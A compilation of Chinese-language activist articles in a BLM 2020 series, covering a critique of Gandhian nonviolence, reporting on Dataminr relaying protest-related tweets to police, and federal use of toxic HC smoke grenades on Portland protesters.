虽然有很多人在谈论老甘地和他的弟子马丁·路德·金的被动非暴力抵抗，但别忘了。也有故意施加给被压迫者的身体上、心理上和情感上的暴力。

在弗洛伊德墓前的鲜花还没有开始凋谢之前，就有人预测会出现反弹，新的规则和重新定义将为警察的暴行披上新的外衣，用假装体贴和假同情的语言来点缀。在总统和软弱的民主党市长的怂恿下，在一些城市里，许多警察阶层在活跃的白人至上主义网络的支持下，相信他们正处于一场“内战”中，他们不打算被解除武装。

甘地认为，消极与和平抵抗的理论永远适用于所有人。包括犹太知识分子马丁·布伯在内的著名知识分子都在质疑他对这一处方的普适性的执着。

“犹太人正在被迫害，被抢劫，被虐待，被折磨，被谋杀。而你，圣雄甘地说，他们在遭受这一切的国家中的地位与你发起那著名的“真理的力量”运动时南非印度安人的地位完全一样”，布伯在1938年写道，“你还不知道集中营是什么样子，那里发生了什么？你知道它的缓慢和快速屠杀的方法吗？”

就大屠杀而言，甘地是错误的。但非暴力的战略动力是证明苦难的道德美德。马丁·路德·金认识到了这一点。他采用甘地的非暴力动员策略很可能是有战略意义的，因为众所周知，甘地本人就是一个种族主义者，他主张种族“纯洁”，反对种族融合。(他还曾支持英国镇压南非祖鲁人的起义)

然而，金看得更远：无论是大英帝国时代被殖民的印度人，还是民权运动时代的美国黑人，通过非暴力维护美德都是核心。在这两种情况下，统治者的议程都是征服和勉强允许被压迫者生存。

大英帝国压迫下的印第安人，就像民权运动时代的美国黑人一样，被允许活着，但没有任何尊严或人权，而且永远受到国家认可的暴力和监禁的威胁。

在大屠杀期间，其战略就是灭绝。希特勒对允许犹太人为德国国家的利益而劳动的某种最低限度的生存完全不感兴趣；他的计划就是积极和故意地从地球上消灭所有犹太人。

这里不存在被压迫者与压迫者的相对美德问题，而是关于他们实际的、尖锐的、彻底的灭绝。无论有多少道德修养，都无法将被压迫者从为他们精心策划的结局中拯救出来。

甘地没有看到这一点。但他为某些解放运动提供了一个可行的计划——而后弗洛伊德的美国民权运动第二章可能就是其中之一。

今天美国黑人的处境更加类似于被殖民的印第安人。针对美国黑人的大大小小的征服网保证了他们的劳动将被忽视，他们的性格不断被玷污，他们的声音被压制，为白人至上主义服务。

对美国人的奴役不仅是一种公然的暴力 —— 来自国家代理人和白人民族主义者的奴役 —— 而且是一种剥夺和忽视：将数百万黑人排除在享受医疗服务、正常的教育系统、和其他无数美国白人享有的特权之外。

就像英国人对土著印第安人所做的那样，美国白人在历史上为自己的残忍行为辩护，坚持认为黑人有一些本质上 “不道德、本质上犯罪、本质上不坚定” 的东西。英属印度的殖民者认为，土著人（当然还有整个帝国的被殖民者）是 “有缺陷的”，他们通过创造教育、健康等指标来证实这种观点，使他们的白人优越性建立在捏造的 “事实” 之上。

- 在这里看到更详细的分析 《当我们陷入困境》

美国也做了同样的事。美国的社会叙事将美德定位在白人身上；它的权力和权利被白人的利他主义、白人的仁爱、白人的权利所证明。我们看到黑人的创伤被变成了白人的美德信号，对弗洛伊德的谋杀已经转化为这一过程。

- 这就是权力如何利用叙事统治世界《发现你生活中的操纵者：在叙事矩阵的边缘（1）》

社交媒体上有大量的白人，他们 —— 突然间 —— 为自己的每一个决定辩护：他们可能已经预见到会发生的对他们的叙事的抨击，他们可能已经给予的捐款、他们可能已经打过的电话，都是源于他们对黑人深深的同情。他们以同情弗洛伊德为借口为自己叫好，再次强调他们是多么的优秀（因此值得赞扬）。

Cornel West 在接受美国有线电视新闻网安德森·库珀节目的采访时对白人的上述 “习惯” 作出了有益的反驳。在乔治·弗洛伊德的葬礼结束后，West 立即发言，他描述了黑人为正义而游行的传统，没有仇恨或复仇的言语。他将坚持为每个人的自由描述为 “给世界的大礼”。

“美国白人应该为黑人起立鼓掌”，West 说，“在经历了四百年的恐怖之后，我们仍然拒绝创造一个黑人版的三K党。”

West 指出，弗洛伊德在休斯敦的葬礼是以振奋人心为标志的。“你可

以把我们放倒，但你不会以这样的方式把我们放倒，以至于我们会恨你们，因为你成了这个参照点”。

不能让善良的预设停留在美国白人身上。但如果说甘地对英属印度的戒律有什么示范作用的话，那就是，被压迫者仅有实际的善良是不够的，他们要不断地表现自己的善良，证明自己的善良，以对抗对方的堕落。

最终，英国人被赶出印度，部分原因是他们在第二次世界大战中遭受的打击。美国白人也同样受到 Covid-19 大流行病的打击，并迅速陷入特朗普式的种族主义和否认。

虽然许多抗议者转向了金和他之前的甘地的榜样，但这一时刻也表明，巨大的改变可以来自于更多的对抗性策略，比如 明尼阿波利斯的一个警察分局被烧毁后，大多数市议会成员发誓要解散警察部门，并“戏剧性地重新思考” 他们对公共安全的态度。

无论哪种方式，改变的时刻不再是以when开始的句子，而是以now开始。〇

When Gandhi Was WrongWhen Gandhi Was Wrong

原文

警察如何使用推文监视抗议运动：通过BLM（6） - iyouport

BLM2020

【2020年11月18日】在算法专制的黑箱之中，您的关注者不一定能看到您发布的内容，然而警察能看到一切，并随时可以使用您的发布作为抓捕您的线索。是谁在帮助他们做到这点？

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《警察情报中心如何跟踪抗议活动：通过BLM（1）》
- 《把暴力抗议玩成生意的人：通过BLM（2）》
- 《监视器“眼中”的抗议运动：通过BLM（3）》
- 《秋后了 … 抗议究竟有没有用？答案可能不在眼下：通过BLM（4）》
- 《当甘地错了 ……：通过BLM（5）》

根据 The Intercept 获得的泄漏文件和一位直接知情人士的说法，利用与 Twitter 的密切关系，臭名昭著的人工智能初创公司 **Dataminr** 一直在帮助警察部门以数字方式监控乔治·弗洛伊德被杀后席卷全国的抗议活动 —— 通过对社交媒体帖子的跟踪监视将示威者的最新行踪和行动告知给警方。

并且，这不是第一次。

早在2016年的一连串争议之后，Twitter 和 Dataminr 都声称，两家公司都“不会参与或协助国内监控”。然而 Twitter —— 直到最近还是与**CIA**一起的 Dataminr 的长期投资者 —— 为该公司提供了对被称为“火喉（firehose）”的内容流的完全访问权，这在科技公司中是罕见的特权，它让最近被估值超过**18**亿美元的 **Dataminr** 在任何推特用户点击发送后立即扫描每一条公开的推文。

警察监控社交媒体情报的历史

「图」

Dataminr 帮助 **世界各地** 的新闻编辑部、公司和政府以超乎寻常的速度跟踪任何目标事件在社交媒体和更广泛的网络上的发展。

通过人工和软件的结合，该公司提醒各组织围绕全球危机 —— 战争、枪击、骚乱、灾难等 —— 展开的讨论，使他们在新闻爆发时拥有竞争优势。

但是，这种竞争优势的意义，即 从社交媒体上数以亿计的推文和帖子的噪音中过滤出重要事件的超强能力，将根据客户的不同而大相径庭；一家使用 Dataminr 为其突发新闻报道提供信息的报纸的议程与银行或 FBI 的议程完全不同。正是 **Dataminr** 的这后一类业务 —— 即 利润丰厚的政府工作 —— 让该公司近年来几乎突飞猛进。

2016年，Twitter 被迫面对多份揭露其平台被用于实现国内监控的报告，包括《华尔街日报》当年5月关于 **Dataminr** 与美国间谍机构合作的报道；还有美国公民自由联盟10月发布的关于 Dataminr 竞争对手 Geofeedia 的报告；以及 ACLU 在12月对 Dataminr 协助联邦警察监控工作的另一项调查。

推特试图向公众保证，根据其规则，“严禁以监视为目的试图监控用户，任何违规者都将被踢出平台”。例如，时任副总裁 Chris Moody 在公司博客中写道：“使用 Twitter 的公共API或数据产品来追踪或识别抗议者和活动家，是绝对不能接受的。” 在给美国公民自由联盟的一封信中，Twitter 公共政策负责人 Colin Crowell 同样写道，“严禁使用 Twitter 数据进行监控”，“Datatminr 的产品不会为任何政府客户提供 …… 任何形式的监控”。

Twitter 还表示，作为其 “官方合作伙伴” 之一的 Dataminr 将 “不再支持融合中心直接访问” 推特位置等信息；融合中心是专门用于联邦政府和地方警方之间共享情报的最有争议的设施。

【注：“融合中心” 是美国的情报共享机制；由美国国土安全部和司法部共同发起创建，由州、地方和部落级别的政府执法部门和国土安全部门共同管理运营，以提升美国联邦、各州以及各地方政府相互之间的信息分享能力为主要任务的专门机构。经过了十几年的发展，融合中心已经由最初几个松散独立的执法情报机构发展为79个融合中心组成的国家融合中心网络；以应对任何突发事件，目标是 “预警感知”和

情报导向作用。“预警感知” 即 少数派报告，关于 “情报主导警务” 可参见这里的访谈《不要相信改革：激进活动家如何废掉警用监视》】

Dataminr 同时宣布，它将不再为 “支持第一时间作出反应的人” 提供进行地理空间分析的情报产品，并补充说，这类客户没有 “直接的火喉访问权”。

但是，根据采访、公共记录请求和 The Intercept 审查的公司文件均显示，**Dataminr** 继续启用本质上是美国执法实体使用的监控，这与其先前的保证完全矛盾，即使它仍然在四年前概述的一些狭窄的技术边界内，比如不提供直接的火喉访问、推特地理定位或对融合中心的某些访问。

Dataminr 将有关 **George Floyd** 和 **Black Lives Matter** 抗议活动的推文和其他社交媒体内容直接转发给警方，显然是在全国范围内。在这样做的过程中，它利用其对 Twitter 数据的特权访问发挥了巨大的作用 —— 尽管目前的服务条款明确禁止软件开发人员 “通过 Twitter 跟踪、警报或监测敏感事件（如抗议活动、集会、或社区组织会议）”。

尽管 Dataminr 声称其执法服务仅仅是 “提供自然灾害、火灾、爆炸和枪击等紧急事件的突发新闻警报”，但正如该公司发言人在此前的报道中对 The Intercept 表示的那样，该公司为监控最近的抗议活动（包括非暴力抗议活动）提供了极大的便利，从全网抽取了大量的社交媒体数据，并将其转化为整洁的警方情报包。

- 社交媒体情报操作在全球流行，它是美国发明的：被称为 “情报主导型警务”。在本网搜索 “社交媒体情报” 以找到详细内容，包括监视的思考方式、技术工具、防御方法等；
- 中国是社交媒体情报监视忠诚的 “后起之秀”，当我们发现，出现在中国的、最“专业”的开源情报调查演示来自公安局情报大队时，您必须了解这件事有多危险，详见《这不是一场竞技表演：关于IYP为什么要采取开源情报》

对和平抗议的密切监视

「图」

Dataminr 对BLM抗议活动的监控包括对社交媒体的持续监控，以向警方提示抗议活动的地点和状况、特定集会内的事态发展等情况。

据直接了解 Dataminr 监控抗议活动的消息人士称，该公司和 Twitter 过去声称他们不纵容或启用监控的说法是 “胡说八道”，依靠的是一个故意缩小的定义。“Dataminr 确实没有专门跟踪抗议者和活动家个人，但是，在警方的要求下，他们正在跟踪抗议活动，因此也在跟踪抗议者”，消息人士解释说。

根据 The Intercept 查阅的内部资料，Dataminr 不仅细致地跟踪正在进行的抗议活动，还全面记录了全国各城市即将举行的反警察暴力集会，以布置监控工作，包括活动在这些城市内的预计发生时间和起始地点。

The Intercept 看到的一份抗议活动时间表显示，**Dataminr** 明确监视了从底特律、布鲁克林到宾夕法尼亚州的约克、弗吉尼亚州的汉普顿罗兹等数十场大大小小的抗议活动。

公司文件还显示，该公司指示其工作人员寻找 “警察对抗议者使用致命武力的推文”、“财产损失”、“针对政府或商业基础设施的广泛纵火或抢劫”、“新的涉警枪击或死亡事件，并可能被解释为种族偏见”，以及 “暴力抗议活动蔓延到新的美国主要城市” 的地点。

他们的工作人员还专门监控社交媒体上关于 “涉及弗洛伊德死亡的警官” 的帖子 —— 所有这些帖子都会通过名为 “第一警报” 的服务转发给 **Dataminr** 的政府客户。

The Intercept 看到的 Dataminr 关于监控抗议活动的文件没有说明是用于新闻客户、警察客户，还是两者都有。但是，2019年10月的一份 Dataminr 文件在该公司的所谓 “执法足迹” 内列出了纽约警察局、洛杉矶警察局、芝加哥警察局和路易斯安那州警察局。

洛杉矶警察局告诉 The Intercept，它对 Dataminr 进行了试用，但选择不签订合同，也没有在BLM抗议活动中使用该系统。路易斯安那州警方以所谓的国家保密法为由拒绝评论。纽约警察局也没有发表评论，也无法获得洛杉矶警察局的评论。

2019年1月，纽约一家法院命令纽约警察局交出有关其使用 Dataminr 的记录，这是由纽约公民自由联盟因该公司涉嫌监视 Black Lives Matter 活动家而提起的诉讼引起的。

“Dataminr 正在为当地警方提供信息，包括 **[**许多**]** 面临抗议活动的城市的警察局**”**，该消息人士说。“他们是 **Dataminr** 最大的一些客户，他们制定了议程。” Dataminr 发言人 Kerry McGee 拒绝就该公

司的客户群体发表评论。

而通过公共记录请求获得的 Dataminr 发给明尼阿波利斯警察局的警示邮件显示，该公司收集、捆绑和标注了与反警察暴行抗议活动相关的几乎所有 **Twitter** 内容，并在这些事件发生时直接转发给警方，包括明显的非暴力抗议活动的信息。

邮件显示，**Dataminr** 转发了**George Floyd** 生活和遇害的城市、以及全国范围内对警察虐待行为的愤怒浪潮所激发的**BLM**抗议者的实时位置和图像，这一事实与该公司声称不向政府客户提供 “任何形式的监控” 的说法完全矛盾。

警报中的位置信息强调，虽然从技术上讲，Dataminr 可能无法直接获取 Twitter 在许多推文中附加的地理位置数据，但向警方转发的推文的文本和图像往往包含公开的地理参考，或者由 Dataminr 工作人员手动添加的地理标示。

虽然有些警报来自于当地和国家新闻记者的推特，但许多警报都来自普通旁观者的描述 —— 该监视系统称之为 “目击者” —— 他们当时正在观看或参加集会，并以完全个人的身份发推。

在5月31日，也就是弗洛伊德遇害6天后，Dataminr 向警方转发的一条首要警报（First Alert）信息中，提醒警方注意一条推文，内容是 “明尼阿波利斯市中心美国银行体育场外的和平抗议活动。结束种族主义。结束警察的暴行。结束不平等和不公平。#JusticeForFloyd #Minneapolisprotest #BlackLivesMatters”，同时还附上了一张由推特作者拍摄的照片。

由 Dataminr 的人力工作人员提供的附带说明中明确指出，这群抗议者曾 “在芝加哥大道400街区的美国银行体育场被监视到”。另一份三天前发给明尼阿波利斯警察局的首要警报向警方提示了这一所谓的 “公共安全威胁”：“在明尼苏达州奥克代尔市，看到抗议者坐在保安人员面前的街道上。” 另一条由 Dataminr 转发给明尼阿波利斯警察局的被监控推文和附带的照片上写着 “在 Lake & Lyndale 的和平抗议”。

这些所谓的 **First Alert** 还可以扫描其他流行的平台，如 **Snapchat** 和 **Facebook**，后者对于试图快速动员社区的抗议组织者来说特别有用，也特别常用。根据明尼阿波利斯警察局的记录，**Dataminr** 能够在抗议活动 *开始之前* 将警方引向 **Facebook** 的抗议活动页面。

Dataminr 给警察的一些警报传递了可疑的信息。例如，5月28日，该公司传递了一个关于亿万富翁慈善家乔治-索罗斯（George Soros）的不可靠的说法，告知明尼阿波利斯警察局，“推特用户 Candace Owens 声称明尼阿波利斯市警察局长说，许多抗议者不是来自该市，并声称投资者乔治-索罗斯正在通过开放社会基金会资助抗议者。” 这是假的。

监视即服务

「图」

Dataminr 仍然公开宣称自己 “永远不会参与监控”，但是同时又为监控抗议活动提供便利，该公司的员工并没有忽视这种明显的矛盾。

在6月份的一次员工会议上，The Intercept 获得了一段录音，Dataminr 的一位经理试图辩解为什么该公司代表警方持续监控第一修正案保护的活动 “事实上并不是监控”。

这位被消息人士确认为执行副总裁 Jason Wilcox 的经理承认，很可能有 Dataminr 的员工在思考一些困难的问题，“我们的技术，我们的公司， 我们的平台，如何发挥作用，以解决这些正在发生的事件？” —— 暗指当时正处于狂热阶段的第一周的全国性抗议活动，“我们与执法部门做生意，这意味着什么？”

Wilcox 为 Dataminr 的辩护主要是基于某种措辞上的诡辩：向警方转发数据 “并不是一种监视形式”，“而是一种意识形态中立的新闻收集形式”。在另一种委婉的说法中，Wilcox 将转发给警方的监视报告描述为 “通过实时事件了解情况，[在]许多事件中，人们的生命受到威胁，警察可以更快地做出反应”。

这通常也是 Twitter 和 Dataminr 的公关团队将这一专供政府的情报产品描述为 “新闻警报” 的来源 —— 而非情报；这一理由在很大程度上掩盖了比如说，一家报纸可能会如何利用快速更新的抗议信息、与警方可能想利用同样的数据做什么之间的重大差异。

【注：这种狡辩非常常见，就如中国，常年将社交媒体情报监视称之为 “舆情分析”】

当被要求评论时，Dataminr 的 McGee 写道：“ Dataminr 不对公司内部会议发表评论。”

Wilcox 还为 Dataminr 与警方的合作进行了辩护，强调了该公司与 Twitter 的密切关系，Twitter 是该监视公司伟大的火喉施主，Wilcox 认为，“Twitter 往往是最早接触的社交媒体平台之一，他们非常关注确保自己的平台不被滥用。”

Dataminr 为警方工作的内部理由也部分建立在它“没那么邪恶”的歪理邪说上。“我们看了很多不同的公司利用社交媒体， 他们往往，不是每个都如此，但往往， 有一个非常不同的目标”，Wilcox 狡辩说，“他们的目标是帮助监控。他们建立用户图谱，当用户跨社交媒体平台走动时，他们会持续跟踪用户，他们会跟踪一个人在一段时间内说的所有话。而我们不这样做。”

Wilcox 说出了其他一些机制，他说，这显示了他是如何“努力确保我们的技术不能在这里被随意滥用”，即内置限制警方可以使用哪些关键词来定制他们的“新闻警报”。

但是，根据直接了解 Dataminr 监视抗议活动的消息来源表示，这是误导性的。所谓的第一警报系统中 *没有任何东西可以阻止警方* 过滤或手动搜索他们从 **Dataminr** 收到的情报中的特定术语，如 **“#BLM “**或 **“Antifa”**。

- 《什么是 antifa，或者说谁是 antifa？》

一旦一条抗议相关的推文被 Dataminr 的监视系统抓取并从另一端输送给警察局的收件箱时，换句话说，Dataminr 就失去了对信息使用方式的控制。这也与 **Dataminr** 给警方的宣传大相径庭。

在最近被称为“BlueLeaks”的在线数据泄漏中，包含了一份明显的2019年 Dataminr 公司向FBI介绍其产品的幻灯片，该幻灯片称：“Dataminr 的使命是整合所有公开可用的数据信号，以创建主导的信息发现平台”。并吹捧政府客户能够定制“自定义标准”的警报，如“主题选择”和“地理位置过滤器”。最终目标是：”缩短事件发生与出警之间的时间”。

监视还是“新闻警报”？

「图」

当被问及上述 Dataminr 与执法部门的合作时，**Twitter** 和 **Dataminr** 都采取了类似的狡辩 —— 他们称“这不是监控，因为我们有反对监控的政策，因此意味着我们不参与监控”。两家公司都不愿评论或讨论

上述行为究竟如何不符合监控的定义，也不愿提供两家公司所定义的此类制度究竟叫个什么名字。

但在一些监控学者、法律专家和活动家看来，无论他们使用什么样的文字游戏，Dataminr 的目的和 Twitter 的启用都是毫无疑问的。民权组织 Color of Change 的活动总监 Brandi Collins-Dexter 指出，Dataminr 的做法是 “如果它像鸭子一样走路，像鸭子一样叫，那它就是鸭子 —— 就是监控”。

“我们知道，执法机构花费了令人叹为观止的金钱来积极追踪、瞄准和监视黑人社区”，Collins-Dexter 说，“ Twitter 不能两全其美，一方面向黑人活动家献殷勤，把自己推销成组织起来反对不公正的杰出工具，而另一方面却对一些与他们签订合同的公司显然是为了监视的目的视而不见。”

民权组织 MediaJustice 的负责人 Steven Renderos 对此表示赞同，“令人不安的是，Dataminr 正在为警方提供服务，认为把 Twitter 帖子交给警察没有坏处是有缺陷的逻辑”，Renderos 说。“警方有利用社交媒体追踪黑人活动家的悠久历史。Dataminr 的做法只是科技公司如何助长美国种族主义警务的最新例子。”

“ Dataminr 与警方分享有关示威和抗议者的帖子，这是令人难以置信的担忧，很难理解这种做法如何令警方的监视不违反 Twitter 自身的政策”，北加州ACLU的律师 Matt Cagle 说。“像 Twitter 这样的社交网络需要保护用户，并确保开发者不会与执法机构分享他们的第一修正案保护行为，这种做法有可能使人们 —— 尤其是边缘社区 —— 进一步受到监视压迫和国家暴力。”

美国大学客座法学教授 Andrew Ferguson 驳斥了这些公司的论点，即由于 Dataminr 只摄取公共推文，所以该系统只能够收集新闻 —— 就像警察拍下示威者的照片，最好理解为新闻摄影，而不是照片监视。

“监控活动并将信息转发给警方显然就是监视”，《大数据警务的崛起》一书的作者弗格森解释说，“如果警方是一家基于数据的广告公司，我们会说这是消费者监视。如果警方直接追踪抗议者，我们会说这是政府监控。转发同样的信息并称其为‘新闻’也无法否认它仍然是监视。”

Twitter 的数亿用户是否会买账—相信自动向警方转发推文只是无辜的新闻采集？这仍然是一个悬而未决的问题，但对大多数人来说，这

是一个没有意义的问题。除了繁琐的公共记录申请外，很难想象有人能了解到自己的抗议推文是否被政府承包商的算法吞噬。

当然您也不会知道，当您被捕时警察抓人的依据来自哪里。〇

POLICE SURVEILLED GEORGE FLOYD PROTESTS WITH HELP FROM TWITTER-AFFILIATED STARTUP DATAMINR

原文

伪党争和真镇压：警察粉碎了每一个微小的抗议活动：通过BLM（7）- 有毒化学烟雾弹 - iyouport

BLM2020

【2020年11月24日存档】“它就像把你架在火上烧了24小时一样”。尽管戴着防毒面具，从头到脚都裹得严严实实的，但依旧痛苦地无法呼吸。甚至医务人员也被近距离射击 ……这种榴弹会带来严重的呼吸困难、肺部肿胀、严重的肝脏问题、甚至死亡 ……

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《警察情报中心如何跟踪抗议活动：通过BLM（1）》
- 《把暴力抗议玩成生意的人：通过BLM（2）》
- 《监视器 “眼中” 的抗议运动：通过BLM（3）》
- 《秋后了 … 抗议究竟有没有用？答案可能不在眼下：通过BLM（4）》
- 《当甘地错了 ……：通过BLM（5）》
- 《警察如何使用推文监视抗议运动：通过BLM（6）》

星期六晚上，纽约警察局逮捕了300名抗议者中近三分之一的人。示威者聚集在时代广场，呼吁废除美国移民和海关执法局 ICE。

抗议者除了游行和高呼外，没有任何更多的行动。他们就呆在人行道上。警察人数是抗议者的3倍。一名示威者告诉 CNN，警察 “从四面八方赶来”，”开始把人们从人行道上扯下来”。有86人被捕。

此前几天里，纽约的小型抗议活动接二连三地被压倒性的警力和咄咄逼人的逮捕所镇压。

除了西雅图和波特兰外，纽约市也被司法部长 Bill Barr 的官方贴上了

“无政府主义管辖区”的标签。在民主党领导下的其他城市很可能会继续被加入到这一标签黑名单中，该标签的目标都是今年夏天爆发的强大的反种族主义、反法西斯抗议活动的关键地区。这些贴标签行为是特朗普政府荒诞戏剧中的最新行为。

由于这种标签的存在，现在地方政府将失去大量的联邦资金。特朗普玩世不恭的基调没有任何微妙之处，再次由巴尔的司法部提供协助，司法部已经成为了总统的私人律师事务所。

当纽约、西雅图和波特兰的居民得知他们的城市 —— 那个治安严密、恶性的不平等泛滥、种族隔离的终点站和资本的存放地 —— 被称为“无政府主义管辖区”时，他们在社交媒体上做出了讽刺式的回应。

“自从CBGB关闭后，纽约市就再也不是无政府主义管辖区了，伙计们”，喜剧演员和作家 Josh Gondelman 在推特上写道。

【注：CBGB是位于美国纽约的一个酒吧，它被公认为是朋克音乐的诞生地。“CBGB”的意思是乡村、蓝草、布鲁斯。这里 Gondelman 所指代的是反文化抗议运动。更多见《走向反文化：节约奴役，做真正对每个人的生活重新的工作》】

“提醒一下，在这个所谓的无政府主管辖区，换边停车规则是有效的”， MSNBC 的 David Gura 在推特上说。

关于无政府主义组织的水平主义、反等级主义性质是否使“无政府主义管辖权”这个标签成为了一个矛盾体，引起了人们的关注。

“这座城市是我们的！ #AnarchistJurisdiction”，位于布鲁克林的无政府主义者社区中心 The Base 开玩笑地发布了这个推文。

很难不令人嗤之以鼻：纽约警察局的常备军中，有超过38000名警官。而该部门的预算 —— 即使在新的城市预算中进行了一些华而不实的削减之后 —— 也依然继续超过50亿美元。

6月，在纽约市历史性的宵禁期间，有1349人仅仅因为出门时间超过了晚上8点，就被警察拘留关进了拘留室，在一片混乱中，更不用说，即使在纽约的左翼环境中，也很少有自认为是无政府主义团体的人。巴尔给这个城市的新标签是完全可笑的。

然而，对指定城市的居民来说，物质后果可能是非常真实的。白宫预算局局长 Russ Vought 将在不到两周的时间里向联邦机构发布关于从

这些城市撤回资金的指导意见。爆料的《纽约邮报》指出，“目前还不清楚哪些资金可能被削减，但鉴于纽约市每年获得约70亿美元的联邦援助，抽走的资金数额可能是巨大的。已经被疫情破坏的市财政，现在面临着更残酷的削减。”

毫无疑问，特朗普正在惩罚那些屡次表明自己是反种族主义、反法西斯抵抗中心的城市。

具有讽刺意味的是，大多数情况下，这些被撤资的地方政府非常严厉地打击反种族主义的抗议活动。民主党人非常乐意看到反种族主义的起义受到严厉的管制和维稳。因此，纽约州州长 Andrew Cuomo 和华盛顿州州长 Jay Inslee、以及其他民主党州和城市领导人，在这里只是 *表面上* 的目标 —— 抗议者才是真正被针对的人。

一些政客强调了特朗普此举的虚伪性，纽约总检察长 General Letitia 正确地指出了其核心目的 —— “这是一种可悲的企图，目的是吓唬美国人，让他们投票给一个实际上没有能力指挥我们国家的统帅”。但她又补充说，特朗普“应该准备在法庭上为这一非法命令辩护，它显示特朗普总统只是假装关心这些执法类型却不打算提供资金。”

这就是这场惨淡的辩论的支点：有权势的民主党人对特朗普的攻击做出回应，却明显体现出民主党人也致力于维护这个警察国家。

民主党官员坚称特朗普的命令是非法的，在选战的特殊政治时刻，几乎和那个所谓的“无政府主义管辖区”的称呼本身一样可笑。特朗普的言论行为作为基调，总是能起到创造新的、更黑暗的政治现实的作用。

司法部很可能要在法庭上为这一昏庸、玩世不恭的举动辩护，但它要做的工作已经完成了：强化升级镇压异议的努力，建立在特朗普和他的司法部正在进行的竞选策略基础上，即 无端地将 Antifa 妖魔化，同时摧毁BLM。

有毒化学烟雾弹

「图」

7月25日晚，当她站在 Lownsdale 广场的联邦法院门前时，Olivia Katbi Smith 已经数次接触到催泪瓦斯了。

在今年夏天俄勒冈州波特兰市举行的BLM抗议活动中，之前的那几

次，被毒气攻击的滋味非常难受：她猛烈地咳嗽，不断流泪，眼睛和鼻子强烈的刺痛感。

但是这一次，站在距离市中心法院围墙约30英尺的地方，Smith 突然感觉到了前所未有的剧烈疼痛。

“我不知道自己是要吐还是要晕过去”，她回忆道，“我当时跌跌撞撞，不知往哪里逃。” Smith 今年28岁，当时她是戴着护目镜加**N95**口罩的，她认为让她难受的东西可能就在口罩里面。

“所以我做了一个非常糟糕的本能决定，把口罩摘下来”，她说，“而这非但没有带来缓解，反而瞬间感觉更糟糕了，就像我被锁定在这团空气中一样。这是压倒性的。我无法呼吸。”

Smith 和波特兰的其他数千名抗议者一样，在6月走上街头，抗议乔治·弗洛伊德被警察杀死。到了7月初，人群开始有些稀少。但当月特朗普决定向该市派出联邦镇压后，抗议者人数激增，暴力事件升级。

而根据对十多名参加抗议活动的人的采访和总部位于波特兰的化学武器研究联合会的研究，**7**月下半月对抗议人群使用化学弹药的情况有了明显的变化，联邦特工向人群释放了更多数量和不同类型的烟雾和气体，似乎引发了严重的、有时是持久的健康影响。

有毒烟雾弹

「图」

波特兰警察局几乎在5月下旬抗议活动首次开启时就开始对BLM的抗议者使用了催泪瓦斯。市长 Ted Wheeler 承认，该市曾使用过 “CS” 催泪瓦斯。常用的配方中含有邻-氯代苯亚甲基丙二腈，这种化合物旨在诱发直接疼痛，但也会产生长期影响，包括慢性支气管炎。

催泪瓦斯在战争中都被禁止使用，但是，却可被用于驱散平民人群。Unexploded smoke grenade recovered from July 16 protests in Portland by a front-line protester and medic. Photo: Courtesy of Juniper Simonis

在国土安全部的联邦特工7月在一次被称为 “勤奋英勇行动” 的任务中进入波特兰后，使用化学刺激剂来控制、驱赶和迷惑抗议者、并掩盖执法行动的情况，越来越多，而且愈演愈烈。

在联邦特工这种军事式镇压中所使用的产品里，有一种六氯乙烷“烟雾弹”的东西，由一家名为“防务技术”的公司制造，以“Maximum HC Smoke”的名字销售。

化学武器研究联合会的志愿者从抗议区收集到20个罐子，这些罐子的大小和形状与烟雾弹相同，其中至少有5个罐子上还贴着防务技术公司的标签。该组织还分析了其中一个回收的废罐上的化学残留物，发现其中含有已知由烟雾弹释放的化学物质。

波特兰小组的科学家和研究员 Juniper Simonis 说，他们还能通过视频和照片追踪“HC”弹或其他榴弹的使用情况，因为它们有独特的燃烧模式。Simonis 说：“使用的其他类型的弹药都没有这样的燃烧方式。”他描述说，这些烟雾弹会发出“可见的热量”，持续1分半钟到2分钟。

国土安全部没有回应 Intercept 关于其特工对波特兰抗议者使用六氯乙烷“烟雾弹”和其他种类人群控制武器的询问。防务技术公司将有关使用榴弹的问题转给了其母公司 Safariland 集团，但该集团也没有作出回应。

- 不要错过重要内容！《镇压部队最常用哪些武器对付抗议者？-概览》

这种上世纪30年代研制的HC烟雾弹，在战场上用于驱散人员和隐蔽行动，这种东西对健康和环境的危害特别大。根据该榴弹的安全数据表，防卫技术公司生产的军用型最大烟雾HC榴弹“对水生生物有剧毒，影响持久”，“疑似致癌”。烟雾弹对环境的影响还包括使树木脱叶和长期减少生长。《**'Poisoning the Pacific': New book details US military contamination of islands and ocean**》

根据该化合物的材料安全数据表，六氯乙烷对健康的影响包括恶心、呕吐、中枢神经系统抑制、肾脏和肝脏损害。氯化锌是榴弹释放的一种化合物，其数量甚至比六氯乙烷还要多，根据其制造商的安全数据表，它对也水生生物有“持久的影响”。这种有毒化合物还导致发烧、胸痛和肝脏损害，并与厌食、疲劳和体重减轻有关。

虽然这种榴弹的制造商“防务技术公司”将其推销为“军用型”，但国防部似乎早在几年前就开始逐步淘汰这种烟雾弹了，因为它的危险性极高。美国陆军生物医学研究与发展实验室1994年的一份报告指出：“没有保护的士兵暴露在高浓度的HC烟雾中，哪怕只是几分钟，也会造成伤亡。”

国防部没有回应有关是否已经停止使用HC烟雾弹的询问。但国防部环境项目 “战略环境研究与发展计划” 2012年的一份报告显示，由于这种榴弹带来严重的呼吸困难、肺部肿胀、严重的肝脏问题、和死亡问题，美军当时正在探索采用几种毒性较低的混合物。SERDP 的报告指出，这些健康问题 “对在训练和战斗中暴露在这种烟雾中的战士的健康构成了严重威胁”。(Left/top) After a reaction has stopped, HC canister shows charred remains and (right/bottom) HC ordnance off-gassing Zinc Chloride mid-deployment.Photo: Courtesy of Sarah Riddle.

即时和持久的影响

「图」

在波特兰与联邦特工对峙期间暴露于化学气体和有毒烟雾中的抗议者报告了一系列通常与普通的催泪瓦斯无关的直接和持久性影响 —— 包括呕吐、脱发、无法进食、无法集中注意力或 “脑雾”。其中一些症状与军方和化学品制造商表明的与六氯乙烷和氯化锌有关的症状一致。

很多人瞬间被这种有毒化学雾气恶心到了。“我吐了，周围的人也在呕吐。”

一位名叫 Opal Hexen 的医护人员说，“整整一个街区的人都防毒面具里吐。” **Hexen** 说，她也戴着防毒面具，遮住了大部分的脸。“那时候，我觉得我必须把面罩摘下来。因为特别想吐”，她说，“当我这样做的时候，我有一种眩晕、窒息的感觉。我的整个身体开始颤抖。我看不见东西了，我无法处理任何事。”

